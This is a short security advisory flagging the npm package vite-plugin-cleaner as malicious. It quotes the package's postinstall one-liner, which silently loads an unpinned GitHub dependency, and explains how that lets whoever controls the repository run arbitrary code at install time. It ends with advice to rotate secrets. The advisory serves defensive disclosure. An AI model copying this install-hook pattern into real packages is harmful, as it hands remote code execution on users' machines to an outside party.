Summary: Malicious code in vite-plugin-cleaner (npm)

Details: Source: amazon-inspector (35bc445ea196f979ad69189f4498586a09a51855b97e95dea02d01d197620237) package.json declares an optionalDependency `vite-cleaning-tools` pointing at `github:vite-plugins/vite-cleaning-tools` with no commit SHA or tag, so npm resolves and fetches whatever code is at the current HEAD of that GitHub repository at install time. The `postinstall` script then runs `node -e "try { require('vite-cleaning-tools') } catch(e) {}"`, executing that fetched code on every `npm install` while a try/catch silently swallows any errors. Because the reference is mutable and lives outside the npm registry, the maintainer (or anyone who gains write access to the GitHub repository) can change what runs on installer machines at any moment without publishing a new npm version, and npm registry scanning does not cover the fetched payload.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
